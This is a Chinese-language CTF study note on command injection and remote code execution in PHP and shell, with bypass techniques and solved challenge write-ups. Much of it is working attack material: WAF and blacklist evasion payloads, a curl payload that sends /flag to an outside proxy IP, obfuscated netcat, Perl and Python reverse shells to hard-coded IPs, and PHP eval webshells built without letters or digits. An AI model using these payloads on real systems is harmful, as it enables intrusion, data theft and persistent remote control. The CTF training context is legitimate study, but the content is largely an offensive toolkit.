1 rce基础
1.1 前言
命令注入攻击(command/shell injection)是通过目标主机上某个程序的漏洞来执行攻击者想要执行的命令。命令注入攻击常用在向程序传入不安全参数(命令行参数、http头、cookie)。
1.2 特殊符号
|
连结上个指令的标准输出,作为下个指令的标准输入。
例如:cat /flag|wc -c
-c或–bytes或–chars 只显示Bytes数。
&
用户有时候执行命令要花很长时间,可能会影响做其他事情。最好的方法是将它放在后台执行。后台运行的程序在用户注销后系统还可以继续执行。当要把命令放在后台执行时,在命令的后面加上&。
Linux中的&&与||
shell在执行某个命令的时候,会返回一个返回值,该返回值保存在一个shell变量中,变量为0表示执行成功,变量为1时表示执行失败。有时候,下一条命令依赖前一条命令是否执行成功。 shell提供了&&和||来实现命令执行控制的功能,shell将根据&&或||前面命令的返回值来控制其后面命令的执行。
&&:在成功地执行一条命令之后再执行另一条命令 。
||: 在一条命令执行失败后再执行另一条命令 ,也就是说如果第一条执行成功,后面那一条就不会执行了。
&&
语法格式如下:[command1 && command2 [&& command3 …]
命令之间使用 && 连接,实现逻辑与的功能。只有在&&左边的命令返回真(命令返回值为0),&&右边的命令才会被执行,只要有一个命令返回假(命令返回值为1),后面的命令就不会被执行。
||(双管道符)
语法格式如下:[command1 || command2 [|| command3 …]
命令之间使用 || 连接,实现逻辑或的功能。只有在 || 左边的命令返回假(命令返回值为1),||右边的命令才会被执行。这和c语言中的逻辑或语法功能相同,即实现短路逻辑或操作。
只要有一个命令返回真(命令返回值为0),后面的命令就不会被执行。
;(分号)
当有几个命令要连续执行时,我们可以把它们放在一行内,中间用;分开。
`(反引号)
命令替代,大部分Unix shell以及编程语言如Perl、PHP以及Ruby等都以成对的重音符(反引号)作指令替代,意思是以某一个指令的输出结果作为另一个指令的输入项。
()指令群组
格式为:(command1;command2[;command3…])
1.3 Linux shell通配符/glob模式
glob 模式(globbing)也被称之为 shell 通配符,名字的起源来自于 Unix V6 中的
/etc/glob
(详见 man 文档)。glob 是一种特殊的模式匹配,最常见的是通配符拓展,也可以将 glob 模式设为精简了的正则表达式,在最新的 CentOS 7 中已经删除了 glob 的相关描述文档,删除的原因由于 glob 已经整合到了 shell 之中,然后就有了 shell 通配符。shell 通配符 / glob 模式通常用来匹配目录以及文件,而不是文本!!!
1.3.1 语法
字符 | 解释 |
---|---|
* | 匹配任意长度任意字符 |
? | 匹配任意单个字符 |
[list] | 匹配指定范围内(list)任意单个字符,也可以是单个字符组成的集合 |
[^list] | 匹配指定范围外的任意单个字符或字符集合 |
[!list] | 同[^list] |
{str1,str2,…} | 匹配 srt1 或者 srt2 或者更多字符串,也可以是集合 |
IFS | 由 < space > 或 < tab > 或 < enter > 三者之一组成 |
CR | 由 < enter > 产生 |
! | 执行 history 中的命令 |
以及还有专用字符集
字符 | 意义 |
---|---|
[:alnum:] | 任意数字或者字母 |
[:alpha:] | 任意字母 |
[:space:] | 空格 |
[:lower:] | 小写字母 |
[:digit:] | 任意数字 |
[:upper:] | 任意大写字母 |
[:cntrl:] | 控制符 |
[:graph:] | 图形 |
[:print:] | 可打印字符 |
[:punct:] | 标点符号 |
[:xdigit:] | 十六进制数 |
[:blank:] | 空白字符 |
- 在使用专属字符集的时候,字符集之外还需要用 [ ] 来包含住,否则专用字符集不会生效,例如
[[:space:]]
- 想要转义的时候,单引号与双引号使用方法是不同的,单引号会转义所有字符,而且单引号中间不允许再出现单引号,双引号允许出现特定的 shell 元字符,具体字符可以自行查询
- 在使用花括号 {} 的时候,里面的单个字符串需要使用单引号或者双引号括住,否则就会视为多个的单个字符
1.3.2 应用实例
$ cat /fl??
flag{xxx}
# 存在文件 a.txt 和 b.txt 和 c.txt 和 ab.txt
$ ls [ab].txt
a.txt b.txt
$ ls *[ab].txt
ab.txt a.txt b.txt
$ ls [a-c].txt
a.txt b.txt c.txt
$ ls *[a-c].txt
a.txt ab.txt abc.txt b.txt c.txt
$ echo d{a,e,i,u,o}g
dag deg dig dug dog
# 大括号可以嵌套使用
$ echo {j{p,pe}g,png}
jpg jpeg png
# {start..end}匹配连续字符
$ cat /f{0..z}ag
flag{xxxxx}
$ echo d{a..z}g
dag dbg dcg ddg deg dfg dgg dhg dig djg dkg dlg dmg dng dog dpg dqg drg dsg dtg dug dvg dwg dxg dyg dzg
1.4 常用绕过
1.4.1 命令分隔与执行多条命令
# Unix
%0a(%0a前后要留有空格)
$ cat /flag %0a cat /flag
flag{123}
cat: %0a: No such file or directory
cat: cat: No such file or directory
flag{123}
-----------------------------------------------------------------------------------------
%0d(%0d前后要留有空格)
$ cat /flag %0d cat /flag
flag{123}
cat: %0d: No such file or directory
cat: cat: No such file or directory
flag{123}
-----------------------------------------------------------------------------------------
;
$ cat /flag;cat /flag
flag{123}
flag{123}
-----------------------------------------------------------------------------------------
&
$ cat /flag&cat /flag
[1] 53065
flag{123}
flag{123}
[1]+ Done cat /flag
-----------------------------------------------------------------------------------------
|和||
$ cat /flag|cat /flag
flag{123}
$ cat /flag||cat /flag
flag{123}
-----------------------------------------------------------------------------------------
$(shell_command)`shell_command`;{ shell_command,}
左花括号与命令之间必须有空格!!!
$(cat /flag)`cat /flag`;{ cat /flag;}
flag{123}flag{123}: command not found
flag{123}
1.4.2 空格绕过
# 使用<或>
$ cat</flag
flag{xxxxx}
$ cat<>/flag
flag{xxxxx}
-----------------------------------------------------------------------------------------
# 使用IFS
$ cat$IFS$9/flag
flag{xxxx}
$ cat${IFS}/flag
flag{xxxxx}
$ cat$IFS/flag
flag{xxxxx}
-----------------------------------------------------------------------------------------
# 使用url的编码绕过
%20(space)
%09(tab)
%3c(<)
+
-----------------------------------------------------------------------------------------
# 变量控制(这个地方不太懂)
$ X=$'cat\x20/flag'&&$X
flag{xxxxx}
$ X=$'cat\x09/flag'&&$X
flag{xxxxx}
-----------------------------------------------------------------------------------------
采用$@绕过
$ c$@at /fl$@ag
flag{xxx}
$ echo i$@d
id
$ echo i$@d|$0
uid=0(root) gid=0(root) groups=0(root)
1.4.3 黑名单绕过
# 采用变量
a=l;b=s;$a$b
a=c;b=at;c=flag;$a$b $c
# 编码绕过
--------------------------------------base64---------------------------------------------
echo "Y2F0IC9mbGFn"|base64 -d|bash
echo "Y2F0IC9mbGFn"|base64 -d|sh
也可以把双引号去掉,空格用$IFS替换,如果是echo之类的后面跟有参数并有空格,$IFS后面还要加一个$1
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS-d|sh
-----------------------------------------hex---------------------------------------------
echo "636174202f666c6167"|xxd -r -p|bash
flag{123}
xxd -h
Usage:
-r reverse operation: convert (or patch) hexdump into binary.
xxd -p
glzjin
676c7a6a696e0a
-----------------------------------------\x----------------------------------------------
$(cat /flag)
flag{123}: command not found
$(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")
flag{123}
{printf,"\x63\x61\x74\x20\x2f\x66\x6c\x61\x67"}|$0
flag{123}
{printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
cat 1.php
<?php @eval($_POST['c']);?>
#符号绕过
-------------------------------------------引号-------------------------------------------
c"a"t /f''l'a'g
flag{123}
-----------------------------------------反斜线-------------------------------------------
c\a\t /f\l\ag
flag{xxx}
#利用已经存在的资源
echo $PATH
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
echo $PATH | cut -c 1
/
可用于绕过/过滤
cat `echo $PATH|cut -c 1`flag
flag{xxx}
-----------------------------------------------------------------------------------------
root@kali:# {cat,/etc/passwd}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/u
root@kali:~/rsshub/dist# test=/ehhh/hmtc/pahhh/hmsswd
root@kali:~/rsshub/dist# cat ${test//hh??hm/}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
root@kali:/# test=/fhhh/hmlag
root@kali:/# cat ${test//hh??hm/}
flag{Decadenbnbnbnb}
大招
root@kali:/#g="/e"\h"hh"/hm"t"c/\i"sh"hh/hmsu\e;tac$@<${g//hh??hm/}
Kali GNU/Linux Rolling \n \l
------------------------------------------反引号------------------------------------------
cat$IFS$1`ls$IFS$1-a`
1.5 Web应用防火墙绕过技巧
使用通配符绕过防火墙规则
nc -e /bin/bash ip port
root@kali:/# n? -e /???/b??h 127.0.0.1 6666
root@kali:/# nc -lvp 6666*
listening on [any] 6666 ...connect to [127.0.0.1] from localhost [127.0.0.1] 40004
id
uid=0(root) gid=0(root) 组=0(root)
whoami
root
使用字符串拼接绕过防火墙规则
root@kali:/# /'b'i''n/'c''a't /e't'c/p''as''sw'd'
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
使用curl -d参数读取本地文件
curl -d @/etc/passwd 127.0.0.1:6000
1.6 rce函数
exec、shell_exec、`` 在php执行完shell命令后需要echo才有输出,如果用system也会有输出,并且system函数的输入可以不要双引号。
<?php
`dir`;
//无回显
?>
-----------------------------------------------------------------------------------------
<?php
echo `dir`;
//有回显
?>
-----------------------------------------------------------------------------------------
<?php
system("dir");
//有回显
//system(dir);
//也可上面这样
?>
2 rce进阶
2.1 特殊的rce
2.1.1 命令执行没回显
题目链接:http://106.54.129.202:25502/test_rce/blind_rce/
参考资料:
1、命令执行没回显 http://www.manongjc.com/detail/14-psivilbdbxqvkta.html
2、Time_Based_RCE https://skysec.top/2017/12/29/Time-Based-RCE/
3、Linux如何在一个文件中写入内容 https://www.cnblogs.com/ConnorShip/p/10284802.html
<?php
highlight_file(__FILE__);
$cmd=$_GET['cmd'];
`$cmd`;
?>
解法一:
反弹shell
解法二:(写一个一句话木马)
没有成功,后台写不了,用反弹shell去看了下
echo "<?php @eval($_POST['a']);?>" > shell.php
2.1.2 curl任意读取
题目链接:http://106.54.129.202:25502/test_rce/exec/exec4-curl.php
参考资料:
1、学习笔记之 curl 命令用法详解 https://www.cnblogs.com/doseoer/p/7044344.html
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
var_dump($url);
$urlInfo = parse_url($url);
if(!("http" === strtolower($urlInfo["scheme"]) || "https"===strtolower($urlInfo["scheme"]))){
die( "scheme error!");
}
$url=escapeshellarg($url);
var_dump($url);
$url=escapeshellcmd($url);
var_dump($url);
system("curl ".$url);
?>
payload:
?url=http://baidu.com/ ' -F file=@/flag -x 47.112.158.20:10110
这道题考察的知识点很是庞大,盘点下存在的坑:
1、http://baidu.com/
最后一个/一定要加上去,不然parse_url会报错,导致通不过校验。
2、-F 后面要加file=
3、@符号也不能少,curl -x 相当于走代理,curl -F 相当于上传文件,而@后面加上字符串就相当于是文件名。
2.1.3 %0a换行符
题目链接:http://106.54.129.202:25502/test_rce/rce_path/rce_path.php
参考资料:
1、
<?php
highlight_file(__FILE__);
$file_name = $_GET["path"];
if(!preg_match("/^[a-zA-Z0-9\s_]+.rpt$/m", $file_name)) {
echo "regex failed";
} else {
echo exec("/usr/bin/file -i -b " . $file_name);
//echo exec("ls -al | grep " . $file_name);
}
?>
payload:
?path=1.rpt%0acat%20/flag
/m(mutiple)
多行查找
m 影响 ^、$
。
若不指定 m,则:^
只在字符串的最开头,$
只在字符串的最结尾。即:匹配整个串的开始和结束。
若指定 m,则:^
在字符串每一行的开头,$
在字符串每一行的结尾。即:匹配每一行的开始和结束。
可以使用%0a换行符绕过检验。
2.1.4 无数字字母rce
2.1.4.1 rce1
题目链接:http://106.54.129.202:25502/test_rce/jixianliyong1
<?php
highlight_file(__FILE__);
include 'flag.php';
if(isset($_GET['code']))
{
$code = $_GET['code'];
if(strlen($code)>40)
{die("Long.");}
if(preg_match("/[A-Za-z0-9]+/",$code))
{die("NO.");}
@eval($code);
}
//$hint = "php function getFlag() to get flag";
//payload1:
//?code=$_="]@(:,=:"^":%\|@\]";$_();
//payload2:
//?code=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);&_=assert&__=getFlag();
//相当于:?code=$_=$_GET;$_GET[_]($_GET[__]);&_=assert&__=getFlag();
?>
构造无数字字母rce:
利用可见字符之间异或的方式,绕过正则的限定条件,但面对太过复杂的限制条件,仅依赖可见字符就行不通了。
<?php
$content = 'getFlag';
$content = str_split($content);
$flag1 = '';
$flag2 = '';
$black_list = array("'",";","_","`"); //这些字符为黑名单
foreach ($content as $value){
while(1){
$i = random_int(32, 126);
$j = $value^chr($i);
if(!in_array(strval(chr($i)), $black_list) & !in_array($j, $black_list) &ord($j)>31 & ord($j)<127){
if(!preg_match("/[A-Za-z0-9]+/",$j)&!preg_match("/[A-Za-z0-9]+/",chr($i))){ //此处填入题目限制条件
$flag1.=chr($i);
$flag2.=$j;
break;
}
}
}
}
$flag = sprintf('"%s"^"%s"',$flag1,$flag2);
echo $flag;
?>
2.1.4.2 rce2
<?php
highlight_file(__file__);
$a = $_GET[_];
eval($a);
?>
脚本:
<?php
$l = "";
$r = "";
$argv = str_split("_GET");
for($i=0;$i<count($argv);$i++)
{
for($j=0;$j<255;$j++)
{
$k = chr($j)^chr(255);
// dechex(255) = ff
if($k == $argv[$i]){
if($j<16){
$l .= "%ff";
$r .= "%0" . dechex($j);
continue;
}
$l .= "%ff";
$r .= "%" . dechex($j);
continue;
}
}
}
echo trim("\{$l^$r}",'\\');
//payload1:
// {%ff%ff%ff%ff^%a0%b8%ba%ab} _GET
// ?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=get_the_flag
//payload2:
//
?>
2.2 反弹shell
perl
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"174.1.108.173:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
-----------------------------------------------------------------------------------------
perl -e 'use Socket;$i="127.0.0.1";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
这一条在[V&N2020 公开赛]CHECKIN没有成功,但本机测试发现是可以的。
python
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.108.173',10110));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"
3 真题
3.1 无数字字母rce
3.1.1 Hard_Pentest_1(2020XCTF)
限制条件:
过滤字符:数字 字母 ; ~ ^ ` & |
<?php
#index.php
//Clear the uploads directory every hour
highlight_file(__FILE__);
$sandbox = "uploads/". md5("De1CTF2020".$_SERVER['REMOTE_ADDR']);
@mkdir($sandbox);
@chdir($sandbox);
if($_POST["submit"]){
if (($_FILES["file"]["size"] < 2048) && Check()){
if ($_FILES["file"]["error"] > 0){
die($_FILES["file"]["error"]);
}
else{
$filename=md5($_SERVER['REMOTE_ADDR'])."_".$_FILES["file"]["name"];
move_uploaded_file($_FILES["file"]["tmp_name"], $filename);
echo "save in:" . $sandbox."/" . $filename;
}
}
else{
echo "Not Allow!";
}
}
function Check(){
$BlackExts = array("php");
$ext = explode(".", $_FILES["file"]["name"]);
$exts = trim(end($ext));
$file_content = file_get_contents($_FILES["file"]["tmp_name"]);
if(!preg_match('/[a-z0-9;~^`&|]/is',$file_content) &&
!in_array($exts, $BlackExts) &&
!preg_match('/\.\./',$_FILES["file"]["name"])) {
return true;
}
return false;
}
?>
<html>
<head>
<meta charset="utf-8">
<title>upload</title>
</head>
<body>
<form action="index.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file"><br>
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
思路:
需要构造无数字字母分号的webshell,而分号作为一种语句的结束和多个语句之间的分隔,在PHP的单行模式下则可以进行省略 。基于此构造一个无数字字母分号的$_POST[__]($_POST[_])
进行RCE。同时需要注意后台为windows,后缀名用phtml的话就会有405错误,我们可以利用源码中对后缀名大小写不敏感的特性,用.pHP进行绕过。但是这种不能蚁剑连,又需要在此基础上写一个可以蚁剑连接的马,构造如下:
<?=$_=[]?><?=$_=@"$_"?><?=$_=$_['!'=='@']?><?=$___=$_?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?= $___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$___.=$__?><?=$____='_'?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$__=$_?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$__++?><?=$____.=$__?><?=$_=$$____?><?=$_[__]($_[_])?>
以post的形式写一个一句话:
__=system&_=echo "<?php eval($_POST['pperk']);?>">pperk.php
蚁剑连接,也是第一次进windows的后台,哈哈哈!!!
3.1.2 你取吧(36D)
<?php
error_reporting(0);
show_source(__FILE__);
$hint=file_get_contents('php://filter/read=convert.base64-encode/resource=hhh.php');
$code=$_REQUEST['code'];
$_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','\~','\^');
$blacklist = array_merge($_);
foreach ($blacklist as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/im', $code)) {
die('nonono');
}
}
eval("echo($code);");
?>
先把前面的echo()
给闭合了,然后上Payload之后用//
再把后面的给注释了掉,最后POST提交_=system('cat /flag');
即可
?code=" ");$_=[];$_=@"$_";$_=$_['!'=='@'];$___=$_;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; $___.=$__;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$___.=$__;$____='_';$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$__=$_;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$____.=$__;$_=$$____;$___($_[_]);//
3.2. 绕过waf
3.2.1 36d—CTFShow
//get flag
if (isset($_GET['get_flag'])){
$get_flag = $_GET['get_flag'];
if(!strstr($get_flag," ")){
$get_flag = str_ireplace("cat", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("more", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tail", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("less", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("head", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("tac", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("sort", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("$", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("curl", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("bash", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("nc", "36dCTFShow", $get_flag);
$get_flag = str_ireplace("php", "36dCTFShow", $get_flag);
if (preg_match("/['\*\"[?]/", $get_flag)) {
die('非预期修复*2');
}
echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>";
system($get_flag);
}else{
die("快到非洲了");
}
}else{
die("去非洲吧");
}
?>
没有过滤反斜杠,所以用反斜杠绕过waf,用<代替空格,本题flag在flag.php,所以payload如下:
ca\t<flag.ph\p
也可以:
rev<flag.ph\p|rev
3.3 绝对路径调用shell命令
3.3.1 [FBCTF2019]RCEService
考点:绝对路径调用shell命令 + 绕过preg_match
<?php
putenv('PATH=/home/rceservice/jail');
if (isset($_REQUEST['cmd'])) {
$json = $_REQUEST['cmd'];
if (!is_string($json)) {
echo 'Hacking attempt detected<br/><br/>';
} elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/', $json)) {
echo 'Hacking attempt detected<br/><br/>';
} else {
echo 'Attempting to run command:<br/>';
$cmd = json_decode($json, true)['cmd'];
if ($cmd !== NULL) {
system($cmd);
} else {
echo 'Invalid input';
}
echo '<br/><br/>';
}
}
?>
参考资料
1、巧用命令注入的N种方式
2、命令注入各种骚姿势
3、Linux下几种常见的反弹shell方式
https://www.jianshu.com/p/9456473a0a14
4、利用ViewState在ASP.NET中实现反序列化RCE
5、从一道CTF的非预期解看PHP反斜杠匹配问题 https://blog.csdn.net/qq_43147039/article/details/105484384